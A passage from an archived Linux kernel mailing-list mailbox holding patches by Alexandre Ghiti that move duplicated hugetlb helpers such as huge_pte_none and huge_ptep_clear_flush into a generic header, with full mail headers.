--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -27,11 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index ffa63fd8388d..2fc3d68424e9 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -73,4 +73,11 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTE_NONE
+static inline int huge_pte_none(pte_t pte)
+{
+	return pte_none(pte);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v2 06/11] hugetlb: Introduce generic version of huge_pte_none
Date: Thu,  5 Jul 2018 05:12:37 +0000
Lines: 176
Approved: news@gmane.org
Message-ID: <20180705051242.694-6-alex@ghiti.fr>
References: <20180705050323.301-1-alex@ghiti.fr>
 <20180705051242.694-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1530768109 10826 195.159.176.226 (5 Jul 2018 05:21:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 05:21:49 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com, will.deacon@arm.com,
 tony.luck@intel.com, fenghua.yu@intel.com, ralf@linux-mips.org,
 paul.burton@mips.com, jhogan@kernel.org, jejb@parisc-linux.org,
 deller@gmx.de, benh@kernel.crashing.org, paulus@samba.org,
 mpe@ellerman.id.au, ysato@users.sourceforge.jp, dalias@libc.org,
 davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
 x86@kernel.org, arnd@arndb.de, linux-arm-kernel@lists.infradead.org,
 linux-kernel@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jul 05 07:21:42 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1fawi6-0002fZ-Hp
	for linux-arm-kernel@m.gmane.org; Thu, 05 Jul 2018 07:21:42 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=1hwwKyDoRf96qCuhRUiuiVh+YPdjj3xFWC8KURbcTP8=; b=PXeEly96fEKrqKkWq6/ihFnbRU
	pg6gu44I8fka57jNGSKWMAhoBpuKFyXkm9Igw1Ng2H5RtwUsNBUF59jP36RuhkVRAD6Xg4EIHUMIe
	9SfFbI/tYweKYQIh6kYjWew4tGAblAv8n1zg/Kl510IcowIKu9kNpxlXLpvWW5q/wEgX5slyVyHuX
	FFt6nRPJxPbAS9IAPoAmThNMELISohgROLLgMiXvNRYDy+5atw0VJmFItEBwqncYDbhat/oiOC7sx
	QDacjRt9WpJGk1RLS7vB9euZN2QbIS37HEG+Udmy1LbxSa6J7m+jE1BzNMiPIq1saDZShjxZyiwZ9
	S8Oukqiw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fawk8-0006bJ-0v; Thu, 05 Jul 2018 05:23:48 +0000
Original-Received: from relay10.mail.gandi.net ([217.70.178.230])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fawaO-0008Dl-C0
 for linux-arm-kernel@lists.infradead.org; Thu, 05 Jul 2018 05:13:52 +0000
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
 (Authenticated sender: alex@ghiti.fr)
 by relay10.mail.gandi.net (Postfix) with ESMTPSA id 1ED70240004;
 Thu,  5 Jul 2018 05:13:32 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705051242.694-1-alex@ghiti.fr>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180704_221345_499704_C6EC81C9 
X-CRM114-Status: UNSURE (   9.29  )
X-CRM114-Notice: Please train this message.
X-Spam-Score: 0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:660928 gmane.linux.kernel:2812043 gmane.linux.ports.ia64:28898 gmane.linux.ports.mips.general:65258 gmane.linux.ports.parisc:28749 gmane.linux.ports.ppc64.devel:159682 gmane.linux.ports.sh.devel:57171 gmane.linux.ports.sparc:28073 gmane.linux.kernel.cross-arch:45019
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/660928>

arm, arm64, ia64, parisc, powerpc, sh, sparc, x86 architectures
use the same version of huge_pte_none, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb.h     | 5 -----
 arch/arm64/include/asm/hugetlb.h   | 5 -----
 arch/ia64/include/asm/hugetlb.h    | 5 -----
 arch/mips/include/asm/hugetlb.h    | 1 +
 arch/parisc/include/asm/hugetlb.h  | 5 -----
 arch/powerpc/include/asm/hugetlb.h | 5 -----
 arch/sh/include/asm/hugetlb.h      | 5 -----
 arch/sparc/include/asm/hugetlb.h   | 5 -----
 arch/x86/include/asm/hugetlb.h     | 5 -----
 include/asm-generic/hugetlb.h      | 7 +++++++
 10 files changed, 8 insertions(+), 40 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
index 047b893ef95d..3d2ce4dbc145 100644
--- a/arch/arm/include/asm/hugetlb.h
+++ b/arch/arm/include/asm/hugetlb.h
@@ -43,11 +43,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 4c8dd488554d..49247c6f94db 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -42,11 +42,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 41b5f6adeee4..bf573500b3c4 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -26,11 +26,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 7df1f116a3cc..1c9c4531376c 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -55,6 +55,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 	flush_tlb_page(vma, addr & huge_page_mask(hstate_vma(vma)));
 }
 
+#define __HAVE_ARCH_HUGE_PTE_NONE
 static inline int huge_pte_none(pte_t pte)
 {
 	unsigned long val = pte_val(pte) & ~_PAGE_GLOBAL;
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 9afff26747a1..c09d8c74553c 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -38,11 +38,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index de0769f0b5b2..530b817e097c 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -152,11 +152,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 	flush_hugetlb_page(vma, addr);
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 9abf9c86b769..a9f8266f33cf 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -31,11 +31,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 651a9593fcee..11115bbd712e 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -48,11 +48,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 8347d5abf882..c5fdc53b6e41 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -27,11 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index ffa63fd8388d..2fc3d68424e9 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -73,4 +73,11 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTE_NONE
+static inline int huge_pte_none(pte_t pte)
+{
+	return pte_none(pte);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2

From - Thu Nov 08 21:41:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v2 05/11] hugetlb: Introduce generic version of
 huge_ptep_clear_flush
Date: Thu,  5 Jul 2018 05:12:36 +0000
Lines: 155
Approved: news@gmane.org
Message-ID: <20180705051242.694-5-alex@ghiti.fr>
References: <20180705050323.301-1-alex@ghiti.fr>
 <20180705051242.694-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1530768135 12769 195.159.176.226 (5 Jul 2018 05:22:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 05:22:15 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com, will.deacon@arm.com,
 tony.luck@intel.com, fenghua.yu@intel.com, ralf@linux-mips.org,
 paul.burton@mips.com, jhogan@kernel.org, jejb@parisc-linux.org,
 deller@gmx.de, benh@kernel.crashing.org, paulus@samba.org,
 mpe@ellerman.id.au, ysato@users.sourceforge.jp, dalias@libc.org,
 davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
 x86@kernel.org, arnd@arndb.de, linux-arm-kernel@lists.infradead.org,
 linux-kernel@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jul 05 07:22:08 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1fawiV-00038z-3L
	for linux-arm-kernel@m.gmane.org; Thu, 05 Jul 2018 07:22:07 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=5nCaAFMUiFXSv6Tvd5+nHA5ZfWpPDejhX90PFO/kz+o=; b=YN2hovHXFhqrmz1SsFEWqP5STi
	yAj+5E742DoI4vivkEdM6t7uHxxiKnE12jRiMmkpVDNwqAVzwNXK0O3TmAJNLS+yIPZqto5MzeTVD
	OYQ6l8+Jgje3O6dBNGQ3oe8B3e4NpOCth2/hrj1bFcZU7AWXwafGjVhrIsXfqCu8EUYJV5JAcWS6P
	AibDxo84Buhm261U3He7++WOts50MExb2gq0f0wDytQf2iqiTg3dUjfXN37HLPEM14+RyG835ZCq9
	dpwktdI9bYreTUuWc5DOwb0UPZqRCOtp2wO3T3HEmyz0qmfkrft3vmqPZemtpsyqPcI3D376xbX+P
	NBnIaNcw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fawkT-0006uM-LE; Thu, 05 Jul 2018 05:24:09 +0000
Original-Received: from relay10.mail.gandi.net ([217.70.178.230])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fawaO-0008AV-Bw
 for linux-arm-kernel@lists.infradead.org; Thu, 05 Jul 2018 05:13:54 +0000
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
 (Authenticated sender: alex@ghiti.fr)
 by relay10.mail.gandi.net (Postfix) with ESMTPSA id 0131C24000D;
 Thu,  5 Jul 2018 05:13:27 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705051242.694-1-alex@ghiti.fr>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180704_221345_058833_0287C64F 
X-CRM114-Status: UNSURE (   9.92  )
X-CRM114-Notice: Please train this message.
X-Spam-Score: 0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:660929 gmane.linux.kernel:2812046 gmane.linux.ports.ia64:28899 gmane.linux.ports.mips.general:65259 gmane.linux.ports.parisc:28750 gmane.linux.ports.ppc64.devel:159683 gmane.linux.ports.sh.devel:57172 gmane.linux.ports.sparc:28074 gmane.linux.kernel.cross-arch:45020
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/660929>

arm, x86 architectures use the same version of
huge_ptep_clear_flush, so move this generic implementation into
asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb-3level.h | 6 ------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 1 +
 arch/mips/include/asm/hugetlb.h       | 1 +
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 1 +
 arch/sh/include/asm/hugetlb.h         | 1 +
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 6 ------
 include/asm-generic/hugetlb.h         | 8 ++++++++
 10 files changed, 15 insertions(+), 12 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index ad36e84b819a..b897541520ef 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return retval;
 }
 
-static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
-					 unsigned long addr, pte_t *ptep)
-{
-	ptep_clear_flush(vma, addr, ptep);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 6ae0bcafe162..4c8dd488554d 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -71,6 +71,7 @@ extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 				     unsigned long addr, pte_t *ptep);
 extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
 				    unsigned long addr, pte_t *ptep);
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 extern void huge_ptep_clear_flush(struct vm_area_struct *vma,
 				  unsigned long addr, pte_t *ptep);
 #define __HAVE_ARCH_HUGE_PTE_CLEAR
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 6719c74da0de..41b5f6adeee4 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -20,6 +20,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 0959cc5a41fa..7df1f116a3cc 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -48,6 +48,7 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 	return pte;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 6e281e1bb336..9afff26747a1 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -32,6 +32,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index ec3e0c2e78f8..de0769f0b5b2 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -143,6 +143,7 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 #endif
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 08ee6c00b5e9..9abf9c86b769 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -25,6 +25,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 944e3a4bfaff..651a9593fcee 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -42,6 +42,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 48b8d9b13cc6..8347d5abf882 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -27,12 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
-					 unsigned long addr, pte_t *ptep)
-{
-	ptep_clear_flush(vma, addr, ptep);
-}
-
 static inline int huge_pte_none(pte_t pte)
 {
 	return pte_none(pte);
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 0f6f151780dd..ffa63fd8388d 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -65,4 +65,12 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
+static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
+		unsigned long addr, pte_t *ptep)
+{
+	ptep_clear_flush(vma, addr, ptep);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2

From - Thu Nov 08 21:41:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 07/11] hugetlb: Introduce generic version of huge_pte_wrprotect
Date: Thu,  5 Jul 2018 05:16:36 +0000
Lines: 182
Approved: news@gmane.org
Message-ID: <20180705051640.790-8-alex@ghiti.fr>
References: <20180705051640.790-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530768162 14551 195.159.176.226 (5 Jul 2018 05:22:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 05:22:42 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 07:22:35 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fawix-0003fg-5P
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 07:22:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753503AbeGEFYn (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 01:24:43 -0400
Original-Received: from relay4-d.mail.gandi.net ([217.70.183.196]:51049 "EHLO
        relay4-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751746AbeGEFYj (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 01:24:39 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
